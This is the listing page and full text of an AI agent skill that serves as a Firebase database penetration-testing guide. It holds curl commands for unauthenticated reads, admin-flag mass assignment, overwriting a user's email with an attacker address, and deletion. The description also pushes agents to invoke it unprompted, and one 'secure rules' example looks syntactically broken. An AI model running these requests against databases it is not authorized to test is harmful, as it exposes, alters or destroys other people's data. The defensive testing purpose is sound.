# Firebase Database Pentesting

> How to pentest Firebase Realtime Database and Firestore. Use this skill whenever the user mentions Firebase, Firebase database security, cloud database pentesting, NoSQL injection, Firebase enumeration, or any Firebase-related security assessment. Make sure to use this skill for any Firebase security testing, even if the user doesn't explicitly say "pentest" or "security test".

- Skill: `abelrguezr/firebase-database-pentesting` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/firebase-database-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/firebase-database-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/firebase-database-pentesting

---


# Firebase Database Pentesting

A comprehensive guide to security testing Firebase Realtime Database and Firestore services.

## Understanding Firebase

Firebase is a Backend-as-a-Service (BaaS) platform primarily designed for mobile applications. It removes the burden of backend programming by providing SDKs and services that facilitate application-backend interaction.

### Key Components

- **Firebase Realtime Database**: NoSQL cloud database with real-time synchronization
- **Cloud Firestore**: More advanced NoSQL database with better querying capabilities
- **Firebase Authentication**: User authentication service
- **Firebase Storage**: File storage service

## Enumeration and Discovery

### 1. Identify Firebase Endpoints

Look for Firebase URLs in:
- Mobile app source code (APK/IPA files)
- Web application source code
- Network traffic (Burp Suite, Wireshark)
- API documentation
- Environment variables

**Common Firebase URL patterns:**
```
https://<project-id>.firebaseio.com
https://<project-id>.firebasedatabase.app
https://firestore.googleapis.com/v1/projects/<project-id>/databases/(default)/documents
```

### 2. Extract Project Information

Use these techniques to discover Firebase project details:

- Check `google-services.json` (Android) or `GoogleService-Info.plist` (iOS)
- Look for Firebase configuration in web apps
- Search for `FIREBASE_API_KEY`, `FIREBASE_PROJECT_ID` in code
- Use Firebase CLI: `firebase projects:list`

### 3. Database Structure Discovery

Once you have access, enumerate the database structure:

```bash
# Using curl to check database existence
curl -s https://<project-id>.firebaseio.com/.json

# Check for default rules
curl -s https://<project-id>.firebaseio.com/.settings/rules.json
```

## Security Rule Assessment

### 1. Review Security Rules

Firebase security rules control read/write access. Common misconfigurations include:

**Overly permissive rules:**
```javascript
// DANGEROUS - Allows anyone to read/write everything
{
  "rules": {
    ".read": true,
    ".write": true
  }
}

// DANGEROUS - Authenticated users can access everything
{
  "rules": {
    ".read": "auth != null",
    ".write": "auth != null"
  }
}
```

**Proper rules example:**
```javascript
{
  "rules": {
    "users": {
      "$uid": {
        ".read": "$uid === auth.uid",
        ".write": "$uid === auth.uid"
      }
    }
  }
}
```

### 2. Test Rule Bypasses

Test various scenarios:

- **Unauthenticated access**: Try reading/writing without authentication
- **Authenticated access**: Test with valid tokens
- **Path traversal**: Try accessing `../../` or similar
- **Rule logic bypass**: Test edge cases in rule conditions

## Common Vulnerabilities

### 1. Insecure Direct Object References (IDOR)

Users can access other users' data by modifying IDs:

```bash
# Try accessing another user's data
curl https://<project-id>.firebaseio.com/users/other-user-id.json
```

### 2. Mass Assignment

Users can write fields they shouldn't:

```bash
# Try adding admin flag
curl -X POST https://<project-id>.firebaseio.com/users.json \
  -d '{"username":"test","admin":true}'
```

### 3. NoSQL Injection

Firebase uses JSON, but injection-style attacks are possible:

- Test with special characters in queries
- Try to bypass authentication checks
- Attempt to modify security rules through input

### 4. Excessive Data Exposure

APIs may return more data than needed:

```bash
# Check if API returns sensitive fields
curl https://<project-id>.firebaseio.com/users.json
```

### 5. Authentication Bypass

- Test with invalid/missing tokens
- Try JWT manipulation
- Check for session fixation vulnerabilities

## Attack Techniques

### 1. Read Access Testing

```bash
# Test public read access
curl -s https://<project-id>.firebaseio.com/.json

# Test specific path access
curl -s https://<project-id>.firebaseio.com/users/.json

# Test with authentication token
curl -s -H "Authorization: Bearer <token>" \
  https://<project-id>.firebaseio.com/.json
```

### 2. Write Access Testing

```bash
# Test public write access
curl -X POST https://<project-id>.firebaseio.com/test.json \
  -d '{"test":"value"}'

# Test with authentication
curl -X POST https://<project-id>.firebaseio.com/test.json \
  -H "Authorization: Bearer <token>" \
  -d '{"test":"value"}'
```

### 3. Update Operations

```bash
# Test PATCH update
curl -X PATCH https://<project-id>.firebaseio.com/users/user-id.json \
  -d '{"email":"hacker@evil.com"}'

# Test PUT replace
curl -X PUT https://<project-id>.firebaseio.com/users/user-id.json \
  -d '{"email":"hacker@evil.com","admin":true}'
```

### 4. Delete Operations

```bash
# Test delete access
curl -X DELETE https://<project-id>.firebaseio.com/users/user-id.json
```

## Tools and Resources

### Manual Testing Tools

- **curl**: For direct API testing
- **Postman**: For structured API testing
- **Burp Suite**: For intercepting and modifying requests
- **Firebase CLI**: For project management

### Automated Tools

- **FuzzDB**: For fuzzing database paths
- **NoSQLMap**: For NoSQL injection testing
- **Firebase-Brute**: For Firebase enumeration

### Reference Resources

- [Firebase Security Rules Documentation](https://firebase.google.com/docs/database/security)
- [OWASP Firebase Security](https://owasp.org/www-project-mobile-top-10/)
- [HackTricks Firebase Enumeration](https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html)

## Testing Checklist

- [ ] Enumerate Firebase project and endpoints
- [ ] Review security rules configuration
- [ ] Test unauthenticated read access
- [ ] Test unauthenticated write access
- [ ] Test authenticated access with valid tokens
- [ ] Test IDOR vulnerabilities
- [ ] Test mass assignment attacks
- [ ] Test for excessive data exposure
- [ ] Test authentication bypass scenarios
- [ ] Test path traversal attacks
- [ ] Review error messages for information disclosure
- [ ] Test rate limiting and DoS protections

## Reporting Findings

When documenting Firebase vulnerabilities:

1. **Include the Firebase project ID** (if discoverable)
2. **Show the security rules** that allow the vulnerability
3. **Provide proof of concept** with curl commands or screenshots
4. **Explain the impact** of the vulnerability
5. **Recommend specific rule fixes**

## Remediation Guidance

### Security Rules Best Practices

1. **Never use `.read: true` or `.write: true` in production**
2. **Validate all input data** in security rules
3. **Use authentication checks** for all sensitive operations
4. **Implement proper access control** per user/resource
5. **Test rules thoroughly** before deployment

### Example Secure Rules

```javascript
{
  "rules": {
    "users": {
      "$uid": {
        ".read": "$uid === auth.uid",
        ".write": {
          ".validate": "newData.hasChildren(['email', 'name']) &&
                        !newData.hasChildren(['admin', 'password'])"
        }
      }
    },
    "public": {
      ".read": true,
      ".write": false
    }
  }
}
```

## Important Notes

- **Always get authorization** before testing Firebase databases
- **Test in staging environments** when possible
- **Document all findings** with evidence
- **Respect rate limits** to avoid triggering abuse detection
- **Clean up test data** after testing
- **Follow responsible disclosure** if testing third-party services